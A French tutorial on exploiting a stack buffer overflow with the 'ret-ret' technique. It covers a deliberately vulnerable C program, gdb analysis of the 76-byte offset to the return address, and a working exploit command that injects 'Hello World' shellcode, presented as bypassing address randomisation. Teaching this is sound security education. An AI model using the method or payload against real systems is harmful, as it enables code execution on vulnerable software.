Sommaire

1. Le programmme vulnérable

Dans notre exemple c'est la fonction strcpy que nous allons recoder, fonction reconnue pour ses failles. Ca nous donne donc :

```
heurs@GITS:~/ret-ret$ cat faille_ret-ret.c
void cop(char * val){
        char buffer[64];
        int i;
        for (i=0; val[i]!=0; i++) buffer[i]=val[i];
        return;
}

int main(int argc, char ** argv) {
        if (argc<2) {
                printf("Utilisation : ./failles_ret-ret argument\n");
                exit(0);
        }
        cop(argv[1]);
        return 0;
}
```

Testons donc le programme :

```
heurs@GITS:~/ret-ret$ ./faille_ret-ret
Utilisation : ./failles_ret-ret argument
heurs@GITS:~/ret-ret$ ./faille_ret-ret aaaaaaaaaaaaaaaaaa

heurs@GITS:~/ret-ret$ ./faille_ret-ret
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Erreur de segmentation
```

2. Cernons la faille

Exellent, nous avons un segmentation fault ! Nous allons donc débugger le prog pour avoir des infos suplémentaires :

```
heurs@GITS:~/ret-ret$ gdb -q ./faille_ret-ret
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disas main

Dump of assembler code for function main:
0x080483fa :    push   %ebp
0x080483fb :    mov    %esp,%ebp
0x080483fd :    sub    $0x8,%esp
0x08048400 :    and    $0xfffffff0,%esp
0x08048403 :    mov    $0x0,%eax
```

```
0x08048408 :   sub    %eax,%esp
0x0804840a :   cmpl   $0x1,0x8(%ebp)
0x0804840e :   jg     0x8048428

0x08048410 :   movl   $0x8048580,(%esp)
0x08048417 :   call   0x80482d4 <_init+56>
0x0804841c :   movl   $0x0,(%esp)
0x08048423 :   call   0x80482e4 <_init+72>
0x08048428 :   mov    0xc(%ebp),%eax
0x0804842b :   add    $0x4,%eax
0x0804842e :   mov    (%eax),%eax
0x08048430 :   mov    %eax,(%esp)
0x08048433 :   call   0x80483c4

0x08048438 :   mov    $0x0,%eax
0x0804843d :   leave
0x0804843e :   ret
0x0804843f :   nop
End of assembler dump.
(gdb) disas cop
Dump of assembler code for function cop:
0x080483c4 :     push   %ebp
0x080483c5 :     mov    %esp,%ebp
0x080483c7 :     sub    $0x58,%esp
0x080483ca :     movl   $0x0,0xffffffb4(%ebp)
0x080483d1 :    mov    0xffffffb4(%ebp),%eax
0x080483d4 :    add    0x8(%ebp),%eax
0x080483d7 :    cmpb   $0x0,(%eax)
0x080483da :    jne    0x80483de

0x080483dc :    jmp    0x80483f8
0x080483de :    lea    0xffffffb8(%ebp),%eax
0x080483e1 :    mov    %eax,%edx
0x080483e3 :    add    0xffffffb4(%ebp),%edx
0x080483e6 :    mov    0xffffffb4(%ebp),%eax
0x080483e9 :    add    0x8(%ebp),%eax
0x080483ec :    movzbl (%eax),%eax
0x080483ef :    mov    %al,(%edx)
0x080483f1 :    lea    0xffffffb4(%ebp),%eax
0x080483f4 :    incl   (%eax)
0x080483f6 :    jmp    0x80483d1

0x080483f8 :    leave
0x080483f9 :    ret
End of assembler dump.
(gdb) b *cop+53
Breakpoint 1 at 0x80483f9
(gdb) r
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Starting program: /home/heurs/ret-ret/faille_ret-ret
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaa
```

```
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaa

Program received signal SIGSEGV, Segmentation fault.
0x080483d7 in cop ()
```

On trouve quelque chose d'interessent ici, j'ai placé un breakpoint juste avant le ret, donc le programme aurait du stopper son execution ici avant de planter. Mais ce n'est pas ce qui c'est passé, il a planté avant.

Pour résoudre ce problème nous allons déja déterminer de combien d'espace nous disposons avant la copie. Pour cela nous allons placer un breakpoint juste avant la copie du 1er octet, c'est a dire 0x080483ef : mov %al,(%edx) ainsi nous saurons a quelle adresse se trouve le 1er octet (elle est stockée dans edx). Et comme ebp pointe sur lui meme, un simple calcul nous donnera la taille de notre espace :

```
heurs@GITS:~/ret-ret$ gdb -q ./faille_ret-ret
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) b *cop+43

Breakpoint 1 at 0x80483ef
(gdb) r aaaaaaaaaaaaa
Starting program: /home/heurs/ret-ret/faille_ret-ret aaaaaaaaaaaaa

Breakpoint 1, 0x080483ef in cop ()
(gdb) i r
eax            0x61     97
ecx            0x1      1
edx            0xbffffa70       -1073743248
ebx            0x4014a8c0       1075095744
esp            0xbffffa60       0xbffffa60
ebp            0xbffffab8       0xbffffab8
esi            0x40016540       1073833280
edi            0xbffffb24       -1073743068
eip            0x80483ef        0x80483ef
eflags         0x282    642
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x0      0
(gdb)
```

Si nous faisons le calcul : ebp - edx = 0xbffffab8 - 0xbffffa70 = 72

Nous avons donc un buffer de 72 octets :) et si nous voulons savoir quand eip sera écrasé il suffit de rajouter les 4 octets de la sauvegarde d'ebp, ainsi nous savons maintenant qu'il faudra écraser 76 octets avant d'écraser eip. Testons tout de meme cela pour ne pas rester que sur la théorie :

```
heurs@GITS:~/ret-ret$ gdb -q ./faille_ret-ret

Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) b *cop+53
Breakpoint 1 at 0x80483f9
(gdb) r `perl -e 'print "a" x 76'`
Starting program: /home/heurs/ret-ret/faille_ret-ret `perl -e 'print "a" x
76'`
```

```
Breakpoint 1, 0x080483f9 in cop ()
(gdb) x/3x $esp-4
0xbffffa78:     0x61616161      0x08048438      0xbffffbf5
(gdb)
```

Nous obtenons exactement le résultat souhaité. Soyons un peu plus "bourrin" et tentons d'écraser les deux valeurs suivantes, c'est a dire l'adresse de retour et le pointeur vers le 1er argument (argv[1]) :

```
(gdb) r `perl -e 'print "a" x 84'`

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/heurs/ret-ret/faille_ret-ret `perl -e 'print "a" x
84'`

Breakpoint 1, 0x080483f9 in cop ()
(gdb) x/3x $esp-4
0xbffffa78:     0x61616161      0x61616161      0xbffffb61
(gdb) x/c 0xbffffb61
0xbffffb61:     0 '\0'
```

Chose qui pourrait paraitre étonnante au premier coup d'oeil, les 8 octets que nous voullions écraser ne le sont pas complettement. La raison est simple :

Quand nous avons écrasé l'octet du pointeur 0xbffffbf5 par 0xbffffb61 cela à changé l'endroit ou nous allions chercher nos données a copier pour le remplacer par un pointeur sur un byte null. Voyant le byte null notre fonction de copie s'arrète croyant que c'est la fin de la chaine. Ainsi les octets suivants du buffer ne seront pas copiés.

3. Exploitons la faille

Comme vous avez du le remarquer nous pouvons écraser l'adresse de retour et la remplacer par l'adresse d'un shellcode que nous aurons codé. Mais une meilleur solution existe, comme l'adresse empilée juste aprés eip est l'adresse d'argv[1], nous pourrions faire un deuxième ret dessus et cela nous ferait directement sauter sur notre shellcode. Comme shellcode j'ai pris l'éternel "Hello World !", désolé, rien d'innovant :)

L'objectif est maintenant de trouver une adresse ou sauter pour executer notre ret... Je trouve que l'adresse ou nous avons placé notre dernier breakpoint convient trés bien. Alors allons y pour cette adresse (qui de plus est statique, donc fiable) :

```
heurs@GITS:~/ret-ret$ ./faille_ret-ret "`perl -e'print
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0
\x04\xb3\x01\xeb\x05\x59\xb2\x0d\xcd\x80\xe8\xf6\xff\xff\xff\x48\x65\x6c\x6c\x
6f\x20\x57\x6f
\x72\x6c\x64\x20\x21" . "a" x 39 . "\xf9\x83\x04\x08"'`"

Hello World !
```

Notres shellcode fait 37 octet, donc 37 + 39 = 76, le compte est bon.

Conclusion

Comme vous avez pu le voir, l'exploitation est relativement simple, mais cette simplicité cache une grande puissance, cette faille est exploitable a l'identique si vous travaillez avec

un noyeau 2.6 récent (qui randomize donc les adresses de la pile et celles de libc). Il n'est donc pas négligable de connaitre la portée de cette faille afin de vous protéger au mieux d'éventuelles erreurs de programmation.

Références

Clad - Il est à l'origine de cette découverte